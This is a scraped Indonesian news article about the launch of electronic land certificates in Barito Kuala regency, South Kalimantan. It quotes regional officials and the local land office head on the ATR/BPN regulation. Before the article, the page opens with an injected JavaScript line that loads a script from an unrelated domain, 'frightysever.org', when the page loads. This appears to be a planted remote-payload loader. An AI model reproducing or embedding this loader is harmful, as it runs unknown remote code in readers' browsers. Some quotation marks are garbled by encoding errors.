(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARABAHAN- Pj Bupati Barito Kuala, Mujiyat, yang diwakili oleh Asisten Bidang Pemerintahan dan Kesejahteraan Rakyat, Fahriana, MH, membuka acara peluncuran penerbitan dokumen elektronik di Aula Mufakat, Kota Marabahan, pada Senin (1/7/2024).
Dalam sambutannya, Fahriana membacakan pesan tertulis dari Pj Bupati Mujiyat yang menyatakan dukungan penuh pemerintah daerah terhadap peluncuran penerbitan dokumen elektronik. Mujiyat menilai bahwa perubahan ini akan memberikan kemudahan dalam penerbitan sertifikat digital yang dapat dicetak dalam satu lembar dokumen elektronik.
“Ini tentunya akan sangat praktis. Beberapa waktu lalu, kita juga mendengarkan pencerahan dari Kepala Kantor Badan Pertanahan mengenai bagaimana sertifikat elektronik ini mempermudah masyarakat, khususnya di Barito Kuala,†ungkap Fahriana.
Fahriana berharap bahwa implementasi sertifikat elektronik ini dapat dilaksanakan secara bertahap di Barito Kuala. Ia juga menyampaikan terima kasih kepada Kepala Kantor Pertanahan Kabupaten Barito Kuala dan seluruh hadirin yang turut serta dalam acara tersebut.
“Semoga ini membawa manfaat, terutama dalam menjamin aset pribadi dan milik pemerintah daerah,” tambahnya.
Kepala Kantor Pertanahan Kabupaten Barito Kuala, Didik Prasetyo Widiyanto, menjelaskan bahwa Kementerian Agraria dan Tata Ruang/Badan Pertanahan Nasional (ATR/BPN) telah menerbitkan Peraturan Menteri ATR/Kepala BPN Nomor 3 Tahun 2023 tentang penerbitan dokumen sertifikat tanah menjadi sertifikat elektronik.
Dokumen elektronik ini dapat disimpan dalam gawai dan dicetak menggunakan secure paper atau kertas biasa yang dilengkapi dengan barcode yang dapat diakses melalui aplikasi Sentuh Tanahku.
Didik juga menyebutkan bahwa sebelumnya, Kementerian ATR/BPN telah menerapkan layanan elektronik lainnya, seperti Roya, SKPT, Zona Nilai Tanah, dan Hak Tanggungan Elektronik. “Sertifikat elektronik adalah sertifikat yang diterbitkan melalui sistem elektronik dalam bentuk dokumen elektronik atau disebut Sertifikat-el,†jelas Didik.
Acara peluncuran ini dihadiri oleh Forum Koordinasi Pimpinan Daerah (Forkopimda), Kepala SKPD, Perwakilan Camat, Lurah se-Kabupaten Barito Kuala, PPAP, BUMN, perbankan, serta akademisi.(kanalkalimantan.com/rls)
Editor: rdy
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.